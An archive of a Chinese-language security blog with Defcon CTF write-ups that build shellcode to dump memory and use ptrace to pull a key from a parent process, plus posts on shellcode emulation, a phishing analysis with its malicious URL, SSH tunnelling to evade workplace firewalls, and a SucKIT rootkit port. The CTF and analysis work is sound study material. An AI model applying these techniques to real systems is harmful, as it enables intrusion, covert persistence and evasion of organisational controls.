顯示具有 Security 標籤的文章。 顯示所有文章
顯示具有 Security 標籤的文章。 顯示所有文章

2013年6月18日 星期二

Defcon 21 競賽解題思路 - linked


題目給了一個 C 的 struct
typedef struct _llist {
   struct _llist *next;
   uint32_t tag;
   char data[100];
 } llist;

並且給了一小段 C 的程式碼

register char *answer;
char *(*func)();
llist *head;
...
func = (char *(*)(llist *))userBuf;
answer = (char *)(*func)(head);
send_string(answer);
exit(0);

此關卡程式會亂數配置若干 linked-list。要解開此關,則要送一段 shellcode 給 Server 執行,即 answer = (char *)(*func)(head); 這行呼叫。

Write me shellcode that traverses the randomly generated linked list, looking for a node with a tag 0x41414100, and returns a pointer to the data associated with that tag, such that the call to send_string will output the answer.

看來只要寫個 shellcode,走訪每個 linked-list,檢查 tag 是否為 0x41414100,若是則將此 linked-list 的位址傳回,應該就能讓 Server 吐出答案。
用 C 來表示大概像這樣:

char *shellcode(llist *head)
{
while(1) {
if (head->tag == 0x41414100)
return head->data;
head = head->next;
}
}

看來很簡單吧!
不過實際轉換成 shellcode 送出才發現,Server 回應 shellcode 只吃 16 bytes,也就是 shellcode 長度不能超過 16 bytes。這個長度限制馬上讓這題變成一個難解之題,不管怎麼縮小,改變 asm 指令等,都相當有難度。
此時,就想到如果不照題目所給的流程走,讓 shellcode 直接吐出走訪 linked-list 的所有資料,那 shellcode 能否控制在 16 bytes 之內呢?

用 C 來表示大概像這樣:

char *shellcode(llist *head)
{
dump:
                write(4, head, 100);
head = head->next;
                goto dump:
}

若是照正常的系統呼叫設定各暫存器,那鐵定超出長度,因此有些暫存器要故意忽略不設,例如呼叫 write() 的長度,C 這邊我寫 100,實際上完全不確定會 write 多少字元。

最後寫出的 shellcode 長得這樣:



沒幾行,分別解說如下:

7. pop   edi        
8. pop   ecx          

此兩行主要是因為  (char *)(*func)(head); ,也就是 call 之前會將參數 head 先放入堆疊(Stack) 再執行 call 時 x86 又會將返回位址放到堆疊,因此 pop edi 則會將返回位址取到 edi,而 pop ecx 則會將 head 存至 ecx。此時 ecx = head

10. mov ecx,[ecx]

此行則為 head = head->next,會放在一開始則完全是 shellcode 長度限制考量。

11. xor eax,eax
12. add eax,4

設定 eax = 4,因為 write 系統呼叫編號為 4。

14. push eax
15. pop ebx

恰好打算要輸出的 socket = 4,所以透過 push/pop 把 eax 複製到 ebx,一樣是長度限制考量。

16. ;mov edx,100
17. int 0x80
18. jmp _run

本來想設定 edx,代表要輸出的長度,不過受到長度限制考量,就完全不理長度,看當時執行此 shellcode 時 edx 暫存器值為何,就輸出多少長度,所以把這行註解掉了。
最後就是系統呼叫 int 0x80 把記憶體內容吐出來,然後 jmp _run 則不斷地走訪 linked-list 不斷地吐資料。
寫個小程式 dump,把 shellcode 輸出到 stdout,再透過 nc 送出給 Server。


大概收集個100M ~ 900M,完全看運氣,然後再從 dump 出的記憶體中找尋關鍵字 "The key"。
答案出來!


2013年6月17日 星期一

Defcon 21 競賽解題思路 - incest


好久沒來寫點東西啦!前兩天又是一年一度的 Defcon Quals,照例 CHROOT 集合多位朋友一塊解題闖關。今年我沒能花太多時間在解題,只看了較有把握的兩題也順利解出,先來分享 "\xff\xe4\xcc" 的第一題 - incest。

此題目給了兩隻 Linux x64 binary,maw 和 sis 。當然二話不說,先來 strings。

$ strings maw
eth0
Could not open key.
/home/services/sis
$ objdump -D sis > sis.disasm


從 sis.disasm 反組譯的內容中,可以看到此程式有 fork() 產生的子行程,會配置一塊記憶體,再將 recv() 收到的內容放到此記憶體空間,最後直接呼叫 callq *rdx,跳躍到該記憶體區域執行。而父行程也配了一塊記憶體,從某檔案中讀取內容後,就不斷呼叫 sched_yield()。
如果轉寫成 C 程式碼,大概長得像這樣:

很明顯 maw 是一個網路 daemon,accept() 連線後再執行 sis,執行時會先 open() key file,然後將 key file 的 fd 和 socket fd 一塊傳給 sis。根據 strace/ltrace 可以發現,key_fd = 3,sock_fd = 4,而且 sis 的子行程會直接跳到遠端傳送的資料裡執行。注意到,呼叫 mmap() 配置 sock_buffer 時,是用 PROT_READ|PROT_WRITE|PROT_EXEC,可讀可寫可執行,就可以塞 shellcode 執行啦。

但是,要怎麼取得 key file 的資料呢?

原來的想法是透過打造 open("key", O_RDONLY),然後 read(key_fd) 再 write(sock_fd),但測試結果發現會 Permission denied。而根據題目 incest 原意,搭配 sis.c,可以猜想應該是要由子行程透過 ptrace() 來讀取父行程裡的資料,也就是父行程已 read(key_fd, key_buffer),只要能讀取父行程的 key_buffer 內容,再 write(sock_fd) 就能遠端取得 key_buffer 內容啦。

打造 x64_86 的 shellcode,我是參考此文 64-bit-linux-shellcode,然後用 nasm 寫了一小段程式碼。流程大概如下:
shellcode()
{
int ppid;
int key_buffer_address;
int key_buffer;
int i;
char buffer[40];
user_regs_struct regs;
ppid = getppid();

ptrace (PTRACE_ATTACH, ppid, NULL, NULL);
wait(NULL);
ptrace (PTRACE_GETREGS,ppid, NULL, &regs);
key_buffer_address = regs.rbp-0x18;
ptrace (PTRACE_PEEKDATA, ppid, key_buffer_address, &key_buffer);
for(i = 0; i < 10; i++)
ptrace (PTRACE_PEEKDATA, ppid, key_buffer+i*8, buffer+i*8);
write(4, buffer, 40);
}

根據前面所提的 sis.disasm
  1. 400949:       e8 82 fd ff ff          callq  4006d0
  2. 40094e:       48 89 45 e8             mov    %rax,-0x18(%rbp)

可以發現,取得父行程 rbp 暫存器值後去 -0x18,即為存放 calloc() 配置的記憶體位址。所以透過
key_buffer_address = regs.rbp-0x18;
ptrace (PTRACE_PEEKDATA, ppid, key_buffer_address, &key_buffer);

則會得到父行程的 key_buffer 位址啦,接著用一個 for-loop 把父行程的 key_buffer 存的內容讀出來,再透過 write() 輸出到 sock_fd = 4,就能看到解答。
此題  shellcode 的 nasm 如下:

使用 nasm 編譯後,寫了一個小程式 dump,把 shellcode 輸出 stdout。


這樣就過關啦!

2009年2月3日 星期二

x86 shellcode detection and emulation - libemu

去年我在研究開發惡意文件偵測技術 - mdscan 時,就在試著找尋適合的 x86 emulator。可惜,找到的幾乎都是 Virtualizer 性質,非我所需要。
一月時無意間發現了 libemu,這兩天就著手將原來 mdscan 的動態追蹤核心,換成 libemu 來模擬執行。

Malicious Document Scan Tool Version 0.5
---------------------------------------------------
Copyright (c) 2009 Net-Hack Technology Co.,Ltd. All rights reserved.

Scanning CVE/MS08-014/69a7b1dd0af391523ae55a846232c68f
opcode: E8E4FFFFFF call 0xffffffe9
opcode: 5E pop esi
opcode: 8BFE mov edi,esi
opcode: 8BD6 mov edx,esi
opcode: 83C214 add edx,0x14
opcode: 52 push edx
opcode: B96A030000 mov ecx,0x36a
opcode: AC lodsb
opcode: C0C000 rol al,0x0
opcode: AA stosb
opcode: 49 dec ecx
opcode: 75F8 jnz 0xfffffffa
opcode: AC lodsb
opcode: C0C000 rol al,0x0
opcode: AA stosb
opcode: 49 dec ecx
opcode: 75F8 jnz 0xfffffffa
opcode: AC lodsb
opcode: C0C000 rol al,0x0
opcode: AA stosb
opcode: 49 dec ecx
opcode: 75F8 jnz 0xfffffffa
opcode: AC lodsb
opcode: C0C000 rol al,0x0
opcode: AA stosb
opcode: 49 dec ecx
opcode: 75F8 jnz 0xfffffffa
opcode: AC lodsb

不過,libemu 缺乏詳細的文件,而且有些 instructions 並沒有 mapping(例如 opcode: A8 and A9),有些 API 也不甚明白是什麼作用,畢竟還在 version 0.2 開發中吧!

想試著研究 shellcode 追蹤或是自動化解殼(unpack)的朋友,不妨試試。

2008年3月8日 星期六

Gmail 釣魚網站

今日有研究員 D 先生回報,收到 Gmail 釣魚網站郵件,分析如下,僅供參考。

------ 底下為釣魚郵件內容 -------
From: Gmail 小組 <[email protected]>
Date: 2008/3/6 16:40
Subject: 請及時更新您的Gmail服務,以免對您的使用造成不便
To: [email protected]

Google近日開始對用戶的Gmail電子郵件服務進行升級
,新版Gmail服務不僅在界面上有所變化,在內部結構上也針對Firefox2和IE 7進行了優化。

由於對JavaScript後端系統進行了重新設計,所以新版Gmail服務的訪問速度將更快,打開一封郵件的時間將不到200毫秒。

免費Gmail電子郵件的存儲空間將由原來的4G增至6G。

請按下面的步驟及時提交您的申請,我們將在24小時之內為您提供新版服務,舊版服務可能在一週之內過期,對您造成的不便請諒解。

步驟一:進入服務申請頁面 https://mail.google.com/mail/updateservices
步驟二:驗證客戶信息。
步驟三:完成申請。

感謝您使用 Gmail!
衷心感謝!
Gmail 小組敬上

請勿回複本電子郵件。如果您希望與Gmail小組聯係,請登錄您的帳戶並點擊任何網頁
頂部的"幫助"。然後,點擊位於支持中心底部的"與我們聯係"。

------ 以上為釣魚郵件內容 -----------


其中在釣魚郵件內容中的, 步驟一:進入服務申請頁面 https://mail.google.com/mail/updateservices,若點擊,則網址會連至(已把 link 改為無效)

http://googleaccounts-login.dynalias.com/google/ServiceLoginservicemail&passivetrue/Fmail.google.com3Dl&ltmpldefault&ltmplcache/google.asp?user[email protected]

同時,此頁面隱含(嵌入iframe)有 MS-06014 針對 IE 瀏覽器的攻擊.

經過查詢,googleaccounts-login.dynalias.com 的 IP 為 211.22.79.234 底下為 whois 資訊:


Li Wai Sh Co., Ltd.

Netname: LI-WAI-SH-CO-E4-NET
Netblock: 211.22.79.232/29

Administrator contact:
[email protected]

Technical contact:
[email protected]


此應為 立瑋仕公司(http://www.device-giant.com.tw/) 所有之 IP 範圍,已被駭客利用來作釣魚網站及攻擊跳板。

www.device-giant.com.tw 的 whois 資訊為:


Domain Name: device-giant.com.tw
Registrant:
蝡讠�隞閗隞賣����
Device-giant Co.,Ltd
5F-1,No. 161,Sung Teh Road Taipei Taiwan

Contact:
John Lin [email protected]
TEL: 23463210
FAX: 27593009

Record expires on 2008-11-14 (YYYY-MM-DD)
Record created on 2000-08-30 (YYYY-MM-DD)

Domain servers in listed order:
device-giant.com.tw 211.22.79.234
ntweb.device-giant.com.tw 211.22.79.234


2006年2月18日 星期六

SSH TCP FORWARDING

有些公司或機關會試著用一些防火牆和監控設備,來對公司內部同仁上網作加以控管。最常見的例子就是對 IM (MSN/Yahoo!)等作記錄或限制。如果防火牆有開放 ssh 連線,或是沒有對 HTTP Protocol 作查核,那就可以試著用 ssh 的 tcp-forwarding 來建立加密連線(secure tunnel)。

(公司外部 Server: proxy.nosuchserver.org)
1. 先架好 Proxy,例如可以 bind 在 3128 Port.
2. 設好 Firewall 規則,只開放 localhost 連線:
iptables -A INPUT -p tcp -s ! 127.0.0.1 --dport 3128 -j DROP
3. 加個帳號叫 tunnel

(公司內部 Linux: 192.168.1.10)
1. 用 ssh 登入 proxy.nosuchserver.org
ssh -L 8080:127.0.0.1:3128 [email protected]
2. 此時可以將 MSN 或 WWW-Browser 的 proxy 設定指向 127.0.0.1:8080
3. 利用此 tunnel 即可對外加密連線

如果你想讓公司內其它同事共享此 proxy,則可以利用新版 ssh 的功能:

ssh -L 192.168.1.10:8080:127.0.0.1:3128 [email protected]

那麼大夥通通把 proxy 設定指向 192.168.1.10:8080 即可。

如果對外沒開放 port 22,那就只好試著讓 Server 上的 sshd 聽 port 80 或其它開放的 port 囉。

2006年2月15日 星期三

某金控網站被入侵

今天下午某位朋友告訴我,當他連上某國內知名金控網站時,防毒軟體發出了警告。該網站的首頁疑似被加入了一行不顯示的 iframe 連結。順著該連結到另一個公司的網站,就會啟動一個惡意的 Javascript,而此 script 的動作則是執行一個植入後門的程序。
想看此惡意 javascript 原貌? 看看 ICST上的相關討論吧。
顯然,至少有兩家公司被入侵,網頁內容遭駭客篡改。但被植入惡意 Javascript 的網站,也許已經讓許多的使用者電腦中了後門。

害怕了嗎?還不快把 MS-IE 換掉!

至於被植入的後門,經過 Birdman 大師的 Archon 惡意軟體掃瞄,其結果如下圖:

fubon_rootkit.JPG

2005年12月5日 星期一

加密式檔案系統

自從前兩天可愛小硬碟入手後,我將它放入 USB Mobie Disk,不久,就發現一件悲慘的事情。

我的 USB Mobie Disk 不愛穿衣服!

一但我將 USB Mobie Disk 的上蓋蓋起來,USB 連接線一接上 X31,X31 馬上發瘋似地重開機,履試不爽。現在,只好讓它脫了上蓋,給它一個清涼,但外觀看起來就是沒這麼漂亮有質感啊!

好吧,不愛穿衣服就算了。我又想到萬一某天,這顆備份資料用的小硬碟,不小心遺失了的話,我可不希望裡頭一些私密資料讓人看光光。於是乎,我就想試試 Linux 的加密式檔案系統。

只不過,試了半天才發現,我現在用的 Linux 系統(MDK LE 2005)並不支援 AES Multi Key (V2=64 keys / V3=65 keys)。所以,底下的步驟是建立一個 10G 的加密式檔案系統,並利用 AES 128 加密。

1. 建立一個約 10G 的大型檔案,檔案內容塞滿亂數資料

# dd if=/dev/urandom of=mystuff bs=1M count=10000

2. 產生單一 AES Single Key 並用 GPG 加密起來
# head -c 2925 /dev/urandom | uuencode -m - | head -n 66 | tail -n 1 | gpg --symmetric -a > /etc/fskey.gpg

3. 將 mystuff 檔案利用 aes-128 加密並掛上 /dev/loop0
# losetup -e aes-128 -K /etc/fskey.gpg /dev/loop0 mystuff

4. 格式化
# mkfs.ext3 /dev/loop0
# tune2fs -m0 /dev/loop0

5. 將 aes-128 加密的檔案系統掛載上 /mnt/crypto
# mkdir /mnt/crypto
# mount -t ext3 /dev/loop0 /mnt/crypto
# df-h
Filesystem 容量 已用 可用 已用% 掛載點
/dev/loop0 9.7G 33M 9.6G 1% /mnt/crypto

如果你有些敏感資料或很隱私的內容,需要以加密的方式儲存時,Linux 的加密式檔案系統將是一個不錯的選擇。

參考資料:
1. Cryptoloop-HOWTO
2. loop-AES.README

2005年5月6日 星期五

駭客年會 2005

2005年駭客年會徵求論文了!
這是台灣第一次,以仿照外國 Defcon 方式舉辦的駭客年會,將在七月中舉辦。
事實上,類似的駭客聚會在各重視資訊安全的國家都經常舉辦,對岸著名的 Xcon 資訊安全焦點會議也舉辦了許多年。

我計畫準備相關 Embedded Linux 安全性的內容,如果有興趣不妨報名來會議上一塊討論喔 :-)

駭客年會的網址是 Hacks In Taiwan !

2005年3月18日 星期五

WISE 2005

2005 網際網路安全工程(WISE 2005)研討會這兩天在警政署刑事警察局舉行。而我在第一天的下午上台介紹了 Linux Rootkit ,包含 Rookit 的特色、種類及偵測方式等,詳細內容全文已收錄在論文集,而我上台時所使用的投影片檔則可以在這裡下載。
事實上,Linux Rootkit 所包涵的內容很廣泛,而我所描述仍不夠充足,還有許多疏漏的地方,希望在我寫作計畫裡可以把內容補全。




2005年3月4日 星期五

邪惡的 GGKit

真是一個邪惡的點子啊 - 我心裡這麼想.
有一個邪惡且威力強大的 Linux Kernel Rootkit - SucKIT,在著名的 Phrack 裡有作者完整的技術介紹。而我的奮戰,便從將 SucKIT 1.3b 移植到 kernel 2.6 開始....
1. kernel 2.6 移除了 query_module(2) 系統呼叫,往後要取得核心符號表可透過 /proc/kallsyms。
2. 系統呼叫增加到 28x個,比 kernel 2.4 的 25x 多很多。
3. task_struct 結構也略有更動,增加了 struct thread_info *thread_info 等欄位。
4. 支援 TLS - Thread Local Storage,新增 get_thread_area(2)/set_thread_area(2) 系統呼叫。不過這和我要作的沒啥關係 :)。
5. kernel 2.6 支援 Pentium III+ 的快速系統呼叫 sysenter/sysexit 機制。核心提供了原先的 int 0x80 和 sysenter 雙介面,並虛擬印射了 linux-gate.so.1 來實作,詳細內容可閱讀這裡

就這樣奮戰了兩天,我一個個解決了 kernel 2.4 和 2.6 差異造成的問題,並且讓 GGKIT (原 SucKIT 1.3b,我取作新名字)順利的在 2.6 下運作,不過仍然有些奇怪的 bugs 待解決 :(
值得一提的是,GGKIT 可動態偵測核心 2.4 還是 2.6 並作即時修正,不需重新編譯即可在 2.4 和 2.6 kernel 下運作。
我所用的偵測方式乃取 ES 暫存器來判斷,2.4 kernel 下 ES 為 0x2b,而 2.6 kernel 則為 0x7b。底下是在 GGKIT 在 kernel mode 下的程式片段:

--------------
long *es;

asm ("movl %es, %eax\n");
asm ("movl %%eax, %0\n"
if (es == (int)0x7b)
{
/* kernel 2.6 */
*runkernel() = 0x26;
} else
*runkernel() = 0x24;
--------------

Q:既然 GGKit 這麼邪惡,那麼可在何處下載玩弄呢?
A: 應該找不到下載點,但也許會在你的系統裡發現 :-)